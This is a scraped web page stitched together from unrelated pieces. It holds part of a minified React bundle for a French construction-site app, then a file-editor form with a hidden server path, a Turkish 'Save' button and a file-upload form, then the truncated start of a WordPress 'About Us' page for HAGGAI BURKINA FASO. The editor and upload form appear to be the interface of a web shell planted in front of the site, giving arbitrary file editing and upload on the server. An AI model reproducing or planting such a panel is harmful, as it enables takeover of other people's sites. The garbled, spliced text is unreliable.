(optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-rate&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,value:H,onChange:he=&gt;Z(he.target.value),className:`${re} text-lg`}),P.unit_rate?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.unit_rate}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-status&quot;,children:&quot;Statut&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-status&quot;,value:q,onChange:he=&gt;W(he.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;draft&quot;,children:&quot;Brouillon&quot;}),s.jsx(&quot;option&quot;,{value:&quot;submitted&quot;,children:&quot;Soumis (validation chantier)&quot;})]}),P.status?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.status}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-comment&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;pe-comment&quot;,value:J,onChange:he=&gt;L(he.target.value),rows:3,className:re})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:G,className:Dt,children:G?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas de saisie (production_entries.manage).&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const uy=[{value:&quot;not_started&quot;,label:&quot;Pas démarré&quot;},{value:&quot;in_progress&quot;,label:&quot;En cours&quot;},{value:&quot;completed&quot;,label:&quot;Terminé&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;},{value:&quot;suspended&quot;,label:&quot;Suspendu&quot;}];function cy(){const{projectId:u}=nt(),c=Number(u),f=$t(),{token:r,can:d}=we(),{setActiveProjectId:p}=ft(),[g,v]=m.useState(&quot;&quot;),[y,x]=m.useState(&quot;&quot;),[S,b]=m.useState(&quot;&quot;),[T,Y]=m.useState(&quot;not_started&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState({}),[I,te]=m.useState(null),[K,H]=m.useState(!1);m.useEffect(()=&gt;{Number.isFinite(c)&amp;&amp;p(c)},[c,p]);async function Z(q){if(q.preventDefault(),!r||!Number.isFinite(c))return;te(null),F({}),H(!0);const W={name:g.trim(),category:y.trim(),description:S.trim()===&quot;&quot;?null:S.trim(),status:T,start_date:R===&quot;&quot;?null:R,expected_end_date:w===&quot;&quot;?null:w};try{await ne(`/api/v1/projects/${c}/work-items`,{method:&quot;POST&quot;,token:r,body:JSON.stringify(W)}),f(&quot;/production-entries/new&quot;)}catch(J){if(J instanceof ge){te(J.message);const L=mr(J.body);L&amp;&amp;F(L)}else te(&quot;Enregistrement impossible&quot;)}finally{H(!1)}}return d(&quot;work_items.view&quot;)?d(&quot;work_items.manage&quot;)?Number.isFinite(c)?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Nouvel ouvrage&quot;,subtitle:`Chantier #${c} — utilisé pour la production au rendu`}),s.jsxs(&quot;p&quot;,{className:&quot;mb-4 text-xs text-stone-500&quot;,children:[&quot;Créez un poste / lot de suivi rattaché à ce chantier. Il apparaîtra dans les listes déroulantes des&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;lignes de production&quot;}),&quot;.&quot;]}),s.jsxs(&quot;form&quot;,{onSubmit:q=&gt;void Z(q),className:&quot;space-y-4&quot;,children:[I?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:I}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-name&quot;,children:&quot;Nom de l’ouvrage&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-name&quot;,type:&quot;text&quot;,required:!0,value:g,onChange:q=&gt;v(q.target.value),className:`${re} text-base`,placeholder:&quot;ex. Dalle béton zone A&quot;,autoComplete:&quot;off&quot;}),$.name?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.name}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-category&quot;,children:&quot;Catégorie / lot&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-category&quot;,type:&quot;text&quot;,required:!0,value:y,onChange:q=&gt;x(q.target.value),className:re,placeholder:&quot;ex. Gros œuvre, Second œuvre…&quot;}),$.category?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.category}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-desc&quot;,children:&quot;Description (optionnel)&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;wi-desc&quot;,value:S,onChange:q=&gt;b(q.target.value),rows:3,className:re})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-status&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;wi-status&quot;,value:T,onChange:q=&gt;Y(q.target.value),className:re,children:uy.map(q=&gt;s.jsx(&quot;option&quot;,{value:q.value,children:q.label},q.value))})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 gap-3 sm:grid-cols-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-start&quot;,children:&quot;Date de début (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-start&quot;,type:&quot;date&quot;,value:R,onChange:q=&gt;U(q.target.value),className:re}),$.start_date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.start_date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;wi-end&quot;,children:&quot;Fin prévue (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;wi-end&quot;,type:&quot;date&quot;,value:w,onChange:q=&gt;k(q.target.value),className:re}),$.expected_end_date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:$.expected_end_date}):null]})]}),s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 pt-2&quot;,children:[s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:K,className:Dt,children:K?&quot;Création…&quot;:&quot;Créer l’ouvrage&quot;}),s.jsx(je,{to:&quot;/production-entries&quot;,className:ml,children:&quot;Annuler&quot;})]})]})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Nouvel ouvrage&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils avec work_items.manage.&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Nouvel ouvrage&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function ry({children:u}){const{token:c,bootstrapping:f}=we();return f?s.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh items-center justify-center px-4&quot;,children:s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;})}):c?s.jsx(s.Fragment,{children:u}):s.jsx(cr,{to:&quot;/login&quot;,replace:!0})}function oy(){return s.jsxs(kx,{children:[s.jsx(_e,{path:&quot;/login&quot;,element:s.jsx(Ev,{})}),s.jsxs(_e,{path:&quot;/&quot;,element:s.jsx(ry,{children:s.jsx(_v,{})}),children:[s.jsx(_e,{index:!0,element:s.jsx(Av,{})}),s.jsx(_e,{path:&quot;profil&quot;,element:s.jsx(Cv,{})}),s.jsx(_e,{path:&quot;organization&quot;,element:s.jsx(zv,{})}),s.jsx(_e,{path:&quot;projects&quot;,element:s.jsx(Rv,{})}),s.jsx(_e,{path:&quot;projects/new&quot;,element:s.jsx(wm,{})}),s.jsx(_e,{path:&quot;projects/:projectId&quot;,element:s.jsx(Ov,{})}),s.jsx(_e,{path:&quot;projects/:projectId/edit&quot;,element:s.jsx(wm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams&quot;,element:s.jsx(qv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/new&quot;,element:s.jsx(Hm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/:teamId&quot;,element:s.jsx(Bv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/teams/:teamId/edit&quot;,element:s.jsx(Hm,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments&quot;,element:s.jsx(Lv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments/new&quot;,element:s.jsx(Yv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/assignments/:assignmentId&quot;,element:s.jsx(Qv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/access&quot;,element:s.jsx(Xv,{})}),s.jsx(_e,{path:&quot;projects/:projectId/work-items/new&quot;,element:s.jsx(cy,{})}),s.jsx(_e,{path:&quot;attendances/saisie&quot;,element:s.jsx(Pv,{})}),s.jsx(_e,{path:&quot;attendances/new&quot;,element:s.jsx(qm,{})}),s.jsx(_e,{path:&quot;attendances/:attendanceId/edit&quot;,element:s.jsx(qm,{})}),s.jsx(_e,{path:&quot;attendances/:attendanceId&quot;,element:s.jsx(Jv,{})}),s.jsx(_e,{path:&quot;attendances&quot;,element:s.jsx(ey,{})}),s.jsx(_e,{path:&quot;production-entries/new&quot;,element:s.jsx(Lm,{})}),s.jsx(_e,{path:&quot;production-entries/:productionEntryId/edit&quot;,element:s.jsx(Lm,{})}),s.jsx(_e,{path:&quot;production-entries/:productionEntryId&quot;,element:s.jsx(sy,{})}),s.jsx(_e,{path:&quot;production-entries&quot;,element:s.jsx(ay,{})}),s.jsx(_e,{path:&quot;users&quot;,element:s.jsx(wv,{})}),s.jsx(_e,{path:&quot;users/new&quot;,element:s.jsx(Mm,{})}),s.jsx(_e,{path:&quot;users/:userId&quot;,element:s.jsx(Mv,{})}),s.jsx(_e,{path:&quot;users/:userId/edit&quot;,element:s.jsx(Mm,{})}),s.jsx(_e,{path:&quot;workers&quot;,element:s.jsx(Uv,{})}),s.jsx(_e,{path:&quot;workers/new&quot;,element:s.jsx(Um,{})}),s.jsx(_e,{path:&quot;workers/:workerId&quot;,element:s.jsx(Hv,{})}),s.jsx(_e,{path:&quot;workers/:workerId/edit&quot;,element:s.jsx(Um,{})})]}),s.jsx(_e,{path:&quot;*&quot;,element:s.jsx(cr,{to:&quot;/&quot;,replace:!0})})]})}function fy(){return s.jsx(dv,{children:s.jsx(Sv,{children:s.jsx(Nv,{children:s.jsx(oy,{})})})})}kp.createRoot(document.getElementById(&quot;root&quot;)).render(s.jsx(m.StrictMode,{children:s.jsx(fy,{})}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/coffra/assets/index-BCnk5msm.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>About Us | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d504e7cd20*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px 